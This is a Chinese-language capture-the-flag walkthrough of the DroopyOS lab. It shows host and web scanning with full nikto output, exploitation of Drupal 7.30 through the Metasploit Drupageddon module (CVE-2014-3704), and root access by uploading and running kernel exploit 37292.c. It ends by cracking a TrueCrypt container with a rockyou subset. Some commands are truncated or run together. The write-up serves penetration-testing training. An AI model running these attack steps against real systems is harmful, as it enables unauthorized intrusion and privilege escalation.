DroopyOS渗透实验(获取Flag)
介绍:本次渗透过程是复杂以及艰辛的,主要以渗透靶机获取flag为主,其中涉及到了渗透技术,以及各种工具的使用,最终获取到flag。下面为大家来实战演示一波。
看起来是和密码破解有关。猜测之后的过程会涉及到解密。
2.首先使用netdiscover进行快速扫描,发现当前靶机的ip地址。
netdiscover -r 192.168.0.0/24
netdiscover介绍:它是基于ARP的网络扫描工具,ARP是将IP地址转化物理地址的网络协议。通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。Kali Linux提供的netdiscover工具,就是借助该协议实施主机发现。它既可以以被动模式嗅探存活的主机,也可以以主动模式扫描主机。用户还可以根据网络稳定性,调整发包速度和数量。所以我们这里首先使用这个工具进行主机探测。
目标IP:192.168.0.10
3.再使用namp快速扫描靶机,查看其开启的端口及服务。
nmap -sV 192.168.0.10
-sV 参数是扫靶机的开放端口来确定服务/版本信息
这里看到靶机只开放了80端口,猜测是启动了web服务。
4.输入url,查看网页,果然出现一个drupal的登录页面。
该靶机上架设了一个网站,使用的cms是drupal。Drupal是一个很出名的开源的内容管理系统。
5.可以先使用nikto工具对网页服务器扫描,尽可能多的收集对我们有利的信息。
nikto -h 192.168.0.10
(参数解析:-h/-host 指定域名或者IP)
root@Thunder:~#nikto -h 192.168.0.10
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.10
+ Target Hostname: 192.168.0.10
+ Target Port: 80
+ Start Time: 2018-06-14 18:42:23 (GMT8)
---------------------------------------------------------------------------
+ Server:Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header:PHP/5.5.9-1ubuntu4.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents:Drupal 7 (http://drupal.org)
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /scripts/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x60e 0x4fef78de7d280
+ OSVDB-3268: /includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 36 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Multiple index files found: /index.php, /index.html
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3092: /web.config: ASP config file is accessible.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /misc/: This might be interesting...
+ OSVDB-3092: /scripts/: This might be interesting... possibly a system shell found.
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3092: /UPGRADE.txt: Default file found.
+ OSVDB-3092: /install.php: Drupal install.php file found.
+ OSVDB-3092: /install.php: install.php file found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.
+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3268: /sites/: Directory indexing found.
+ 8383 requests: 0 error(s) and 52 item(s) reported on remote host
+ End Time: 2018-06-14 18:42:58 (GMT8) (35 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
通过上面的扫描结果,我们可以发现这个Drupal 7 (http://drupal.org)
网站,是在Ubuntu操作系统上,使用Apache/2.4.7版本,PHP/5.5.9-1,以及系统默认的配置文件和路径等,其中最明显的线索是多次引用的“ robots.txt”。查看这个文件应该有一些有价值的信息。
6.查看robots.txt文件
输入:http://192.168.0.10/robots.txt
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
#
# For syntax checking, see:
User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
文件记录了一些不允许被爬虫读取的路径,我们这里想要知道当前Drupal版本,以便于找到对应版本的漏洞。这就用到了其中的CHANGELOG.txt文件。
7.查看CHANGELOG.txt,该文件通常用于显示当前的Drupal版本及相应的补丁说明。
我们可以看到这里正在运行的是Drupal 7.30版本,当前更新到此版本。
8.使用谷歌搜索,查找匹配此版本的漏洞,关键字:Drupal 7.30exploit
从中得知漏洞名为CVE-2014-3704,虽然是2014年的漏洞,时间较为久远,但通过前面的信息(CHANGELOG.txt)得知,网站并没有继续升级打上相应的补丁,所以对于靶机正好适用。
9.继续了解有关CVE-2014-3704的信息。发现该漏洞有一个很好的预打包Metasploit漏洞,被称为“Drupageddon”。
10.所以我们接下去就使用metasploit加载该漏洞攻击模块并配置远程主机ip。
msf下输入以下命令:
> use exploit/multi/http/drupal_drupageddon
> set RHOST 192.168.0.10
利用漏洞,我们很容易的就拿到了较低权限的shell(这个漏洞还是挺危险的),接下去使用的是攻击荷载模块中的meterpreter。
关于meterpreter的详细介绍:
11.查看靶机上的文件,发现其中tmp文件的权限是777,意味着任何人可以在这个文件上写入并执行一些程序。
我们现在可以算是进入了目标机的系统,但是并没有得到root权限,所以下一步应该是利用这个tmp文件执行漏洞利用程序进行提权。
12.我们首先要查看当前系统的内核,以便于使用合适的内核漏洞利用程序,先在meterpreter下输入shell,返回目标系统的shell命令行,在windows下返回cmd命令行,在unix下返回sh命令行。这个命令非常实用。
再输入python -c 'import pty; pty.spawn("/bin/sh")'命令获取到靶机的shell,输入uname-a并查看靶机当前的一些系统信息。
这串信息的意思是当前系统网络节点名称:droopy;操作系统发行版本号:3.13.0-43-generic; 内核版本:72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014;机器硬件名:x86_64;硬件平台:x86_64;操作系统:GNU/Linux;
13.现在我们知道了当前系统的发行版本号,使用kali自带的searchsploit库找到当前版本的漏洞利用程序。
searchsploit Kernel 3.13
对应版本我们找到了37292.c,这个也可以从网上下载。
14.继续利用meterperter上传本地的37292.c到靶机的tmp目录下
upload /usr/share/exploitdb/exploits/linux/local/37292.c /tmp/
15.上传好之后使用shell命令,返回系统当前的shell,进入tmp目录下,发现tmp下的37292.c只有可读的权限,并不能被执行,但是tmp文件是777权限(任何人可读写执行),我们使用chmod修改37292.c的权限为755,使它可执行。
16.再用gcc编译运行37292.c(前体是已经该系统上安装了gcc,可用gcc --version查看gcc是否已安装)
gcc -o exploit 37292.c
17.编译好之后运行,输入./exploit,自动执行程序后,我们拿到了靶机的root权限
18.拿到root权限后,我们下一个目标就是寻找flag(这一般放在比较起眼的地方很容易找),进入root文件夹发现dave.tc文件,这是TrueCrypt container的文件扩展名,需破解,这可能就是我们需要的。
19.这里涉及到了密码破解,我们可以看下下虚拟机作者给的提示
提示信息:
1.需要rockyou字典破解
2.可以查看邮件。
邮件提示查看邮件(/var/mail/下):密码不超过11个字符
20.接下来我们把文件下载到本地进行破解,把文件复制到tmp目录下,并使用meterpreter下载文件到本地/root/exp文件下(exp是自己创建的文件夹)。
21.准备利用kali自带的rockyou字典(需解压)进行爆破,我们先把字典也复制到/root/exp下,再使用awk筛选出作者给的范围中的密码,这样我们需要爆破的时间大大减少。
grep -i academy /root/exp/rockyou.txt | awk 'length passwd
22.再使用truecrack工具破解密码,这里要用到“sha512”进行破解。不加这个的话爆破不出来。
truecrack --truecrypt dave.tc --keysha512--wordlist passwd --verbose
现在已经得到了密码,我们需要输入密码打开文件。
23.由于文档加解密用的truecrypt现在不能使用了,我们下载了Veracrypt。然后启动Truecrypt模式,输入密码,选择sha512的哈希。
24.进入文件,发现几个目录和图像,但是如果输入一个“ls -a”,我们可以看到隐藏的目录。从/media/veracryptl/.secret/.top路径中找到flag.txt,最后拿到flag。
领取专属 10元无门槛券
私享最新 技术干货